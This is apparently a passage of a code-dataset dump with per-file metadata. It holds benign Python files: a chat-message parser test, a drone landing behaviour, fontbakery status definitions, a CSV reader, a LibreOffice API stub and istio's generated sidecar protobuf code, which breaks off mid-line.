"B2/W2 Doubles", "DPP Singles", "DPP Doubles", "Past Generations", ], ) self.assertListEqual( list(m.formats["Past Generations"].keys()), [ "[Gen 3] Ubers", "[Gen 3] UU", "[Gen 3] NU", "[Gen 3] 1v1", "[Gen 3] Custom Game", "[Gen 3] Doubles Custom Game", "[Gen 2] Ubers", "[Gen 2] UU", "[Gen 2] NU", "[Gen 2] 1v1", "[Gen 2] Nintendo Cup 2000", "[Gen 2] Stadium OU", "[Gen 2] Custom Game", "[Gen 1] Ubers", "[Gen 1] UU", "[Gen 1] NU", "[Gen 1] Japanese OU", "[Gen 1] Nintendo Cup 1997", "[Gen 1] Stadium OU", "[Gen 1] Tradebacks OU", "[Gen 1] Custom Game", ], ) self.assertListEqual( m.formats["Past Gens OU"]["[Gen 3] OU"], [ "Available for Search", "Available for Challenge", "Available for Tournaments", ], ) def test_player(self): m = message.Message("battle-gen3ou-1234567890", "|player|p1|Foo|60|1200") self.assertEqual(m.type, "player") self.assertEqual(m.player, "p1") self.assertEqual(m.username, "Foo") self.assertEqual(m.avatar, "60") self.assertEqual(m.rating, 1200) self.assertEqual(m.room, "battle-gen3ou-1234567890") m = message.Message("battle-gen3ou-1234567890", "|player|p3|Bar|koga|") self.assertEqual(m.type, "player") self.assertEqual(m.player, "p3") self.assertEqual(m.username, "Bar") self.assertEqual(m.avatar, "koga") self.assertIsNone(m.rating) m = message.Message("battle-gen3ou-1234567890", "|player|p3|Bar|koga") self.assertEqual(m.type, "player") self.assertEqual(m.player, "p3") self.assertEqual(m.username, "Bar") self.assertEqual(m.avatar, "koga") self.assertIsNone(m.rating) m = message.Message("battle-gen3ou-1234567890", "|player|p2|") self.assertEqual(m.type, "player") self.assertEqual(m.player, "p2") self.assertFalse(m.username) self.assertIsNone(m.avatar) self.assertIsNone(m.rating) def test_noproto(self): m = message.Message("battle-gen3ou-1234567890", "No Pokémon, item, move, ability or nature named 'healee' was found. Showing the data of 'Healer' instead.") self.assertIsNone(m.type) self.assertEqual(m.room, "battle-gen3ou-1234567890") self.assertEqual(m.message_str, "No Pokémon, item, move, ability or nature named 'healee' was found. Showing the data of 'Healer' instead.")
51.185714
4,315
0.608359
2,010
14,332
4.325871
0.125373
0.129385
0.13801
0.055204
0.320874
0.20414
0.193675
0.148016
0.122944
0.107993
0
0.074104
0.228859
14,332
280
4,316
51.185714
0.712631
0
0
0.225664
0
0.017699
0.506035
0.094607
0
0
0
0
0.446903
1
0.097345
false
0
0.013274
0
0.115044
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
2
c737b26ee4f827bf63d0de167d8bf14bbc2253b3
1,528
py
Python
ForwardBehaviour.py
mhct/droneuaw
ada19cbc715e8c0dcee604bdfb86c60442fcb8fd
[ "BSD-3-Clause" ]
null
null
null
ForwardBehaviour.py
mhct/droneuaw
ada19cbc715e8c0dcee604bdfb86c60442fcb8fd
[ "BSD-3-Clause" ]
null
null
null
ForwardBehaviour.py
mhct/droneuaw
ada19cbc715e8c0dcee604bdfb86c60442fcb8fd
[ "BSD-3-Clause" ]
null
null
null
__author__ = 'mario' import Polygonal from dronekit.lib import VehicleMode import SafeBehaviour class ForwardBehaviour(SafeBehaviour.SafeBehaviour): """ Defines an aggregation behaviour. This behaviour receives a number of messages and decides which command to execute. """ def __init__(self, vehicle): SafeBehaviour.SafeBehaviour.__init__(self, 20) self.vehicle = vehicle self.commands = [] def run(self): """Executes the behaviour, creating a Command object, asking the UAV to land.""" #TODO improve this.. add FSM taking care of current state (landing, breaking, etc) check rules # for iterating over the commands list for i in range(0, len(self.commands)): c = self.commands.pop() if c == SafeBehaviour.SafeBehaviour.land: self.commands = [] return LandCommand(self.vehicle) if c == SafeBehaviour.SafeBehaviour.halt: return BrakeCommand(self.vehicle) return SafeBehaviour.SafeBehaviour.none def addCommand(self, command): self.commands.append(command) class BrakeCommand: def __init__(self, vehicle): self.vehicle = vehicle def __call__(self): self.vehicle.mode = VehicleMode("BRAKE") self.vehicle.flush() class LandCommand: def __init__(self, vehicle): self.vehicle = vehicle def __call__(self): self.vehicle.mode = VehicleMode("LAND") self.vehicle.flush()
26.344828
102
0.64856
166
1,528
5.801205
0.463855
0.137072
0.034268
0.056075
0.15161
0.15161
0.15161
0.15161
0.15161
0.15161
0
0.002664
0.263089
1,528
57
103
26.807018
0.852575
0.211387
0
0.375
0
0
0.011874
0
0
0
0
0.017544
0
1
0.21875
false
0
0.09375
0
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
1
0
0
0
0
0
0
0
2
c73db398dc09a5c491f40fb401b965a11d53fd76
4,501
py
Python
Lib/fontbakery/status.py
RosaWagner/fontbakery
e5b57a4938f0f25cb722cc18cacb4836657b1ff9
[ "Apache-2.0" ]
351
2015-01-12T09:27:03.000Z
2022-03-24T14:37:56.000Z
Lib/fontbakery/status.py
RosaWagner/fontbakery
e5b57a4938f0f25cb722cc18cacb4836657b1ff9
[ "Apache-2.0" ]
2,308
2015-01-07T10:49:14.000Z
2022-03-31T22:55:21.000Z
Lib/fontbakery/status.py
RosaWagner/fontbakery
e5b57a4938f0f25cb722cc18cacb4836657b1ff9
[ "Apache-2.0" ]
89
2015-03-02T17:31:04.000Z
2022-03-16T13:18:59.000Z
class Status: """ If you create a custom Status symbol, please keep in mind that all statuses are registered globally and that can cause name collisions. However, it's an intended use case for your checks to be able to yield custom statuses. Interpreters of the check protocol will have to skip statuses unknown to them or treat them in an otherwise non-fatal fashion. """ def __new__(cls, name, weight=0): """ Don't create two instances with same name. >>> a = Status('PASS') >>> a <Status hello> >>> b = Status('PASS') >>> b <Status hello> >>> b is a True >>> b == a True """ instance = cls.__instances.get(name, None) if instance is None: instance = cls.__instances[name] = super(Status, cls).__new__(cls) setattr(instance, '_Status__name', name) setattr(instance, '_Status__weight', weight) return instance __instances = {} def __str__(self): return f'<Status {self.__name}>' @property def name(self): return self.__name @property def weight(self): return self.__weight def __gt__(self, other): return self.weight > other.weight def __ge__(self, other): return self.weight >= other.weight def __lt__(self, other): return self.weight < other.weight def __le__(self, other): return self.weight <= other.weight __repr__ = __str__ # Status messages of the check runner protocol # Structuring statuses # * begin with "START" and "END" # * have weights < 0 # * START statuses have even weight, corresponding END statuses have odd # weights, such that START.weight + 1 == END.weight # * the bigger the weight the bigger is the structure, structuring on a macro-level # * different structures can have the same weights, if they occur on the same level # * ENDCHECK is the biggest structuring status # # Log statuses # * have weights >= 0 # * the more important the status the bigger the weight # * ERROR has the biggest weight # * PASS is the lowest status a check can have, # i.e.: a check run must at least yield one log that is >= PASS # # From all the statuses that can occur within a check, the "worst" one # is defining for the check overall status: # ERROR > FAIL > WARN > INFO > SKIP > PASS > DEBUG # Anything from WARN to PASS does not make a check fail. # A result < PASS creates an ERROR. That means, DEBUG is not a valid # result of a check, nor is any of the structuring statuses. # A check with SKIP can't (MUST NOT) create any other event. # Log statuses # only between STARTCHECK and ENDCHECK: DEBUG = Status('DEBUG', 0) # Silent by default PASS = Status('PASS', 1) SKIP = Status('SKIP', 2) # SKIP is heavier than PASS because it's likely more interesting to # see what got skipped, to reveal blind spots. INFO = Status('INFO', 3) WARN = Status('WARN', 4) # A check that results in WARN may indicate a problem, but also may be OK. FAIL = Status('FAIL', 5) # A FAIL is a problem detected in the font or family. ERROR = Status('ERROR', 6) # Something a programmer must fix. It will make a check fail as well. # Start of the suite of checks. Must be always the first message, even in async mode. # Message is the full execution order of the whole profile START = Status('START', -6) # Only between START and before the first SECTIONSUMMARY and END # Message is None. STARTCHECK = Status('STARTCHECK', -2) # Ends the last check started by STARTCHECK. # Message the the result status of the whole check, one of PASS, SKIP, FAIL, ERROR. ENDCHECK = Status('ENDCHECK', -1) # After the last ENDCHECK one SECTIONSUMMARY for each section before END. # Message is a tuple of: # * the actual execution order of the section in the check runner session # as reported. Especially in async mode, the order can differ significantly # from the actual order of checks in the session. # * a Counter dictionary where the keys are Status.name of # the ENDCHECK message. If serialized, some existing statuses may not be # in the counter because they never occurred in the section. SECTIONSUMMARY = Status('SECTIONSUMMARY', -3) # End of the suite of checks. Must be always the last message, even in async mode. # Message is a counter as described in SECTIONSUMMARY, but with the collected # results of all checks in all sections. END = Status('END', -5)
38.801724
99
0.680738
666
4,501
4.51952
0.325826
0.016611
0.026578
0.025249
0.093355
0.093355
0.093355
0.060797
0.021927
0
0
0.004673
0.23928
4,501
115
100
39.13913
0.874416
0.669851
0
0.052632
0
0
0.091255
0
0
0
0
0
0
1
0.210526
false
0.026316
0
0.184211
0.5
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
c74e505a82dd3a4fe1857104e563f6c4677e20fb
208
py
Python
tst_csv_read.py
Boris1961/My-Projects
2f0fb448ad6cf9a979afbda87a266dcc8b206569
[ "MIT" ]
null
null
null
tst_csv_read.py
Boris1961/My-Projects
2f0fb448ad6cf9a979afbda87a266dcc8b206569
[ "MIT" ]
1
2017-02-11T10:24:00.000Z
2017-02-11T10:24:00.000Z
tst_csv_read.py
Boris1961/My-Projects
2f0fb448ad6cf9a979afbda87a266dcc8b206569
[ "MIT" ]
null
null
null
import csv with open('export.csv', newline='') as csvfile: spamreader = csv.reader(csvfile, delimiter=' ', quotechar='|') for row in spamreader: # if row[0].find('laminat'): print(row[0])
29.714286
66
0.625
27
208
4.814815
0.740741
0.061538
0
0
0
0
0
0
0
0
0
0.011976
0.197115
208
6
67
34.666667
0.766467
0.125
0
0
0
0
0.066667
0
0
0
0
0
0
1
0
false
0
0.2
0
0.2
0.2
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
c75cb21deee1a95af03779ed161381f69bb0a028
6,328
py
Python
ooobuild/lo/drawing/enhanced_custom_shape_extrusion.py
Amourspirit/ooo_uno_tmpl
64e0c86fd68f24794acc22d63d8d32ae05dd12b8
[ "Apache-2.0" ]
null
null
null
ooobuild/lo/drawing/enhanced_custom_shape_extrusion.py
Amourspirit/ooo_uno_tmpl
64e0c86fd68f24794acc22d63d8d32ae05dd12b8
[ "Apache-2.0" ]
null
null
null
ooobuild/lo/drawing/enhanced_custom_shape_extrusion.py
Amourspirit/ooo_uno_tmpl
64e0c86fd68f24794acc22d63d8d32ae05dd12b8
[ "Apache-2.0" ]
null
null
null
# coding: utf-8 # # Copyright 2022 :Barry-Thomas-Paul: Moss # # Licensed under the Apache License, Version 2.0 (the "License") # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http: // www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Service Class # this is a auto generated file generated by Cheetah # Libre Office Version: 7.3 # Namespace: com.sun.star.drawing import typing from abc import abstractproperty, ABC if typing.TYPE_CHECKING: from .direction3_d import Direction3D as Direction3D_c9370c0c from .enhanced_custom_shape_parameter_pair import EnhancedCustomShapeParameterPair as EnhancedCustomShapeParameterPair_262914a3 from .position3_d import Position3D as Position3D_bddc0bc0 from .projection_mode import ProjectionMode as ProjectionMode_f1ff0d96 from .shade_mode import ShadeMode as ShadeMode_b0c60b5e class EnhancedCustomShapeExtrusion(ABC): """ Service Class This service may be represented by a com.sun.star.beans.PropertyValue []. See Also: `API EnhancedCustomShapeExtrusion <https://api.libreoffice.org/docs/idl/ref/servicecom_1_1sun_1_1star_1_1drawing_1_1EnhancedCustomShapeExtrusion.html>`_ """ __ooo_ns__: str = 'com.sun.star.drawing' __ooo_full_ns__: str = 'com.sun.star.drawing.EnhancedCustomShapeExtrusion' __ooo_type_name__: str = 'service' @abstractproperty def Brightness(self) -> float: """ This attribute specifies the brightness of a scene in percent. """ @abstractproperty def Depth(self) -> 'EnhancedCustomShapeParameterPair_262914a3': """ The first value of EnhancedCustomShapeParameterPair specifies the depth of the extrusion in 1/100 mm. The second value (0.0 to 1.0) specifies the fraction of the extrusion that lies before the shape, a value of 0 is default. """ @abstractproperty def Diffusion(self) -> float: """ This attribute specifies the amount of diffusion reflected by the shape in percent. """ @abstractproperty def Extrusion(self) -> bool: """ This property specifies if extrusion is displayed. The default for this property is \"false\" """ @abstractproperty def ExtrusionColor(self) -> bool: """ This attribute specifies if the \"SecondFillColor\" is used as extrusion color. """ @abstractproperty def FirstLightDirection(self) -> 'Direction3D_c9370c0c': """ Specifies the direction of the first light. """ @abstractproperty def FirstLightHarsh(self) -> bool: """ Specifies if the primary light is harsh. """ @abstractproperty def FirstLightLevel(self) -> float: """ Specifies the intensity for the first light in percent. """ @abstractproperty def LightFace(self) -> bool: """ Specifies if the front face of the extrusion responds to lightning changes. """ @abstractproperty def Metal(self) -> bool: """ Specifies if the surface of the extrusion object looks like metal. """ @abstractproperty def NumberOfLineSegments(self) -> int: """ Specifies the number of line segments that should be used to display curved surfaces. The higher the number the more line segments are used. """ @abstractproperty def Origin(self) -> 'EnhancedCustomShapeParameterPair_262914a3': """ This attribute specifies the origin within the bounding box of the shape in terms of the shape size fractions. """ @abstractproperty def ProjectionMode(self) -> 'ProjectionMode_f1ff0d96': """ This property defines the projection mode. """ @abstractproperty def RotateAngle(self) -> 'EnhancedCustomShapeParameterPair_262914a3': """ This attributes specifies the rotation angle about the x-axis in grad. The order of rotation is: z-axis, y-axis and then x-axis. The z-axis is specified by the draw:rotate-angle. """ @abstractproperty def RotationCenter(self) -> 'Direction3D_c9370c0c': """ This attribute specifies the position of the rotate center in terms of shape size fractions, if the property is omitted, then the geometrical center of the shape is used (this is the default). """ @abstractproperty def SecondLightDirection(self) -> 'Direction3D_c9370c0c': """ Specifies the direction of the second light. """ @abstractproperty def SecondLightHarsh(self) -> bool: """ Specifies if the secondary light is harsh. """ @abstractproperty def SecondLightLevel(self) -> float: """ Specifies the intensity for the second light in percent. """ @abstractproperty def ShadeMode(self) -> 'ShadeMode_b0c60b5e': """ This property defines the shade mode. """ @abstractproperty def Shininess(self) -> float: """ The draw:extrusion-shininess specifies the shininess of a mirror in percent. """ @abstractproperty def Skew(self) -> 'EnhancedCustomShapeParameterPair_262914a3': """ The first value of the draw:extrusion-skew attribute specifies the skew amount of an extrusion in percent. The second parameter specifies the skew-angle. Skew settings are only applied if the attribute ProjectionMode is ProjectionMode_PARALLEL. """ @abstractproperty def Specularity(self) -> float: """ This attribute specifies the specularity of an extrusion object in percent. """ @abstractproperty def ViewPoint(self) -> 'Position3D_bddc0bc0': """ This attribute specifies the viewpoint of the observer. """ __all__ = ['EnhancedCustomShapeExtrusion']
32.451282
200
0.671302
704
6,328
5.955966
0.340909
0.104221
0.036728
0.035774
0.15502
0.103506
0.068686
0.023372
0
0
0
0.023925
0.253635
6,328
194
201
32.618557
0.863858
0.488622
0
0.389831
0
0
0.15068
0.102524
0
0
0
0
0
1
0.389831
false
0
0.118644
0
0.576271
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
c7604ef65e87867004f3f18b2a499efc0eb94d9f
18,309
py
Python
python/istio_api/networking/v1alpha3/sidecar_pb2.py
dhermes/api
9564cdd03c96e8c6aca43cd0d41414c279135424
[ "Apache-2.0" ]
null
null
null
python/istio_api/networking/v1alpha3/sidecar_pb2.py
dhermes/api
9564cdd03c96e8c6aca43cd0d41414c279135424
[ "Apache-2.0" ]
null
null
null
python/istio_api/networking/v1alpha3/sidecar_pb2.py
dhermes/api
9564cdd03c96e8c6aca43cd0d41414c279135424
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Generated by the protocol buffer compiler. DO NOT EDIT! # source: networking/v1alpha3/sidecar.proto import sys _b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1')) from google.protobuf.internal import enum_type_wrapper from google.protobuf import descriptor as _descriptor from google.protobuf import message as _message from google.protobuf import reflection as _reflection from google.protobuf import symbol_database as _symbol_database # @@protoc_insertion_point(imports) _sym_db = _symbol_database.Default() from google.api import field_behavior_pb2 as google_dot_api_dot_field__behavior__pb2 from networking.v1alpha3 import gateway_pb2 as networking_dot_v1alpha3_dot_gateway__pb2 DESCRIPTOR = _descriptor.FileDescriptor( name='networking/v1alpha3/sidecar.proto', package='istio.networking.v1alpha3', syntax='proto3', serialized_options=_b('Z istio.io/api/networking/v1alpha3'), serialized_pb=_b('\n!networking/v1alpha3/sidecar.proto\x12\x19istio.networking.v1alpha3\x1a\x1fgoogle/api/field_behavior.proto\x1a!networking/v1alpha3/gateway.proto\"\xe9\x02\n\x07Sidecar\x12\x46\n\x11workload_selector\x18\x01 \x01(\x0b\x32+.istio.networking.v1alpha3.WorkloadSelector\x12@\n\x07ingress\x18\x02 \x03(\x0b\x32/.istio.networking.v1alpha3.IstioIngressListener\x12>\n\x06\x65gress\x18\x03 \x03(\x0b\x32..istio.networking.v1alpha3.IstioEgressListener\x12Q\n\x17outbound_traffic_policy\x18\x04 \x01(\x0b\x32\x30.istio.networking.v1alpha3.OutboundTrafficPolicy\x12\x41\n\x0binbound_tls\x18\x05 \x01(\x0b\x32,.istio.networking.v1alpha3.Server.TLSOptions\"\xf8\x01\n\x14IstioIngressListener\x12\x32\n\x04port\x18\x01 \x01(\x0b\x32\x1f.istio.networking.v1alpha3.PortB\x03\xe0\x41\x02\x12\x0c\n\x04\x62ind\x18\x02 \x01(\t\x12<\n\x0c\x63\x61pture_mode\x18\x03 \x01(\x0e\x32&.istio.networking.v1alpha3.CaptureMode\x12\x1d\n\x10\x64\x65\x66\x61ult_endpoint\x18\x04 \x01(\tB\x03\xe0\x41\x02\x12\x41\n\x0binbound_tls\x18\x05 \x01(\x0b\x32,.istio.networking.v1alpha3.Server.TLSOptions\"\xa4\x01\n\x13IstioEgressListener\x12-\n\x04port\x18\x01 \x01(\x0b\x32\x1f.istio.networking.v1alpha3.Port\x12\x0c\n\x04\x62ind\x18\x02 \x01(\t\x12<\n\x0c\x63\x61pture_mode\x18\x03 \x01(\x0e\x32&.istio.networking.v1alpha3.CaptureMode\x12\x12\n\x05hosts\x18\x04 \x03(\tB\x03\xe0\x41\x02\"\x8f\x01\n\x10WorkloadSelector\x12L\n\x06labels\x18\x01 \x03(\x0b\x32\x37.istio.networking.v1alpha3.WorkloadSelector.LabelsEntryB\x03\xe0\x41\x02\x1a-\n\x0bLabelsEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\"\x86\x01\n\x15OutboundTrafficPolicy\x12\x43\n\x04mode\x18\x01 \x01(\x0e\x32\x35.istio.networking.v1alpha3.OutboundTrafficPolicy.Mode\"(\n\x04Mode\x12\x11\n\rREGISTRY_ONLY\x10\x00\x12\r\n\tALLOW_ANY\x10\x01*2\n\x0b\x43\x61ptureMode\x12\x0b\n\x07\x44\x45\x46\x41ULT\x10\x00\x12\x0c\n\x08IPTABLES\x10\x01\x12\x08\n\x04NONE\x10\x02\x42\"Z istio.io/api/networking/v1alpha3b\x06proto3') , dependencies=[google_dot_api_dot_field__behavior__pb2.DESCRIPTOR,networking_dot_v1alpha3_dot_gateway__pb2.DESCRIPTOR,]) _CAPTUREMODE = _descriptor.EnumDescriptor( name='CaptureMode', full_name='istio.networking.v1alpha3.CaptureMode', filename=None, file=DESCRIPTOR, values=[ _descriptor.EnumValueDescriptor( name='DEFAULT', index=0, number=0, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='IPTABLES', index=1, number=1, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='NONE', index=2, number=2, serialized_options=None, type=None), ], containing_type=None, serialized_options=None, serialized_start=1197, serialized_end=1247, ) _sym_db.RegisterEnumDescriptor(_CAPTUREMODE) CaptureMode = enum_type_wrapper.EnumTypeWrapper(_CAPTUREMODE) DEFAULT = 0 IPTABLES = 1 NONE = 2 _OUTBOUNDTRAFFICPOLICY_MODE = _descriptor.EnumDescriptor( name='Mode', full_name='istio.networking.v1alpha3.OutboundTrafficPolicy.Mode', filename=None, file=DESCRIPTOR, values=[ _descriptor.EnumValueDescriptor( name='REGISTRY_ONLY', index=0, number=0, serialized_options=None, type=None), _descriptor.EnumValueDescriptor( name='ALLOW_ANY', index=1, number=1, serialized_options=None, type=None), ], containing_type=None, serialized_options=None, serialized_start=1155, serialized_end=1195, ) _sym_db.RegisterEnumDescriptor(_OUTBOUNDTRAFFICPOLICY_MODE) _SIDECAR = _descriptor.Descriptor( name='Sidecar', full_name='istio.networking.v1alpha3.Sidecar', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='workload_selector', full_name='istio.networking.v1alpha3.Sidecar.workload_selector', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='ingress', full_name='istio.networking.v1alpha3.Sidecar.ingress', index=1, number=2, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='egress', full_name='istio.networking.v1alpha3.Sidecar.egress', index=2, number=3, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='outbound_traffic_policy', full_name='istio.networking.v1alpha3.Sidecar.outbound_traffic_policy', index=3, number=4, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='inbound_tls', full_name='istio.networking.v1alpha3.Sidecar.inbound_tls', index=4, number=5, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=133, serialized_end=494, ) _ISTIOINGRESSLISTENER = _descriptor.Descriptor( name='IstioIngressListener', full_name='istio.networking.v1alpha3.IstioIngressListener', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='port', full_name='istio.networking.v1alpha3.IstioIngressListener.port', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=_b('\340A\002'), file=DESCRIPTOR), _descriptor.FieldDescriptor( name='bind', full_name='istio.networking.v1alpha3.IstioIngressListener.bind', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='capture_mode', full_name='istio.networking.v1alpha3.IstioIngressListener.capture_mode', index=2, number=3, type=14, cpp_type=8, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='default_endpoint', full_name='istio.networking.v1alpha3.IstioIngressListener.default_endpoint', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=_b('\340A\002'), file=DESCRIPTOR), _descriptor.FieldDescriptor( name='inbound_tls', full_name='istio.networking.v1alpha3.IstioIngressListener.inbound_tls', index=4, number=5, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=497, serialized_end=745, ) _ISTIOEGRESSLISTENER = _descriptor.Descriptor( name='IstioEgressListener', full_name='istio.networking.v1alpha3.IstioEgressListener', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='port', full_name='istio.networking.v1alpha3.IstioEgressListener.port', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='bind', full_name='istio.networking.v1alpha3.IstioEgressListener.bind', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='capture_mode', full_name='istio.networking.v1alpha3.IstioEgressListener.capture_mode', index=2, number=3, type=14, cpp_type=8, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='hosts', full_name='istio.networking.v1alpha3.IstioEgressListener.hosts', index=3, number=4, type=9, cpp_type=9, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=_b('\340A\002'), file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=748, serialized_end=912, ) _WORKLOADSELECTOR_LABELSENTRY = _descriptor.Descriptor( name='LabelsEntry', full_name='istio.networking.v1alpha3.WorkloadSelector.LabelsEntry', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='key', full_name='istio.networking.v1alpha3.WorkloadSelector.LabelsEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), _descriptor.FieldDescriptor( name='value', full_name='istio.networking.v1alpha3.WorkloadSelector.LabelsEntry.value', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=_b("").decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=_b('8\001'), is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1013, serialized_end=1058, ) _WORKLOADSELECTOR = _descriptor.Descriptor( name='WorkloadSelector', full_name='istio.networking.v1alpha3.WorkloadSelector', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='labels', full_name='istio.networking.v1alpha3.WorkloadSelector.labels', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=_b('\340A\002'), file=DESCRIPTOR), ], extensions=[ ], nested_types=[_WORKLOADSELECTOR_LABELSENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=915, serialized_end=1058, ) _OUTBOUNDTRAFFICPOLICY = _descriptor.Descriptor( name='OutboundTrafficPolicy', full_name='istio.networking.v1alpha3.OutboundTrafficPolicy', filename=None, file=DESCRIPTOR, containing_type=None, fields=[ _descriptor.FieldDescriptor( name='mode', full_name='istio.networking.v1alpha3.OutboundTrafficPolicy.mode', index=0, number=1, type=14, cpp_type=8, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR), ], extensions=[ ], nested_types=[], enum_types=[ _OUTBOUNDTRAFFICPOLICY_MODE, ], serialized_options=None, is_extendable=False, syntax='proto3', extension_ranges=[], oneofs=[ ], serialized_start=1061, serialized_end=1195, ) _SIDECAR.fields_by_name['workload_selector'].message_type = _WORKLOADSELECTOR _SIDECAR.fields_by_name['ingress'].message_type = _ISTIOINGRESSLISTENER _SIDECAR.fields_by_name['egress'].message_type = _ISTIOEGRESSLISTENER _SIDECAR.fields_by_name['outbound_traffic_policy'].message_type = _OUTBOUNDTRAFFICPOLICY _SIDECAR.fields_by_name['inbound_tls'].message_type = networking_dot_v1alpha3_dot_gateway__pb2._SERVER_TLSOPTIONS _ISTIOINGRESSLISTENER.fields_by_name['port'].message_type = networking_dot_v1alpha3_dot_gateway__pb2._PORT _ISTIOINGRESSLISTENER.fields_by_name['capture_mode'].enum_type = _CAPTUREMODE _ISTIOINGRESSLISTENER.fields_by_name['inbound_tls'].message_type = networking_dot_v1alpha3_dot_gateway__pb2._SERVER_TLSOPTIONS _ISTIOEGRESSLISTENER.fields_by_name['port'].message_type = networking_dot_v1alpha3_dot_gateway__pb2._PORT _ISTIOEGRESSLISTENER.fields_by_name['capture_mode'].enum_type = _CAPTUREMODE _WORKLOADSELECTOR_LABELSENTRY.containing_type = _WORKLOADSELECTOR _WORKLOADSELECTOR.fields_by_name['labels'].message_type = _WORKLOADSELECTOR_LABELSENTRY _OUTBOUNDTRAFFICPOLICY.fields_by_name['mode'].enum_type = 